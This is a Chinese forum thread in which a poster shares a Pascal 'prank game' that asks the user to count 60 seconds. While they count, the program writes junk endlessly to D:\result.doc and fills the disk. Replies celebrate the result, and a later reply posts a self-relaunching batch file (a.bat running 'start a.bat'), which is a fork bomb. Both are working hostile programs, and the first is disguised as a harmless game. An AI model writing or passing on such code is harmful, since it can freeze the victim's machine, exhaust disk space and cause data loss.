整人游戏 [复制链接]

比较缺德，我用pascal写的

var f:text;
Begin
    writeln('this game is called "count 60 seconds".');
    writeln('press "enter" to start');
    writeln('after count 60 seconds without a watch ,close this program');
    writeln('and open "D:\result.doc" to see your result');
    writeln('now you may start');
    readln;
    writeln('you have started.............');

    assign(f,'D:\result.doc');
    rewrite(f);
    while 1=1 do writeln(f,'fdhiaheuiohdjkaebjiohalebjcia');
    close(f);
end.

大家想想结果，60秒后打开result.doc会.........

oops
好吧

cool；简直不是人

结果：
Word无法打开此文件，因为它大于32兆。

haowan

     

顶顶！！！！！！！！！！！！！  

顶！！

以后我们定的时候可以这样：
begin
while true do
  write('顶！');
end.

haha~~~~~~~~~顶顶

其实写个BAT就可以了。
文件名 a.bat
---
start a.bat
---
然后只要打开了就差不多了。。。。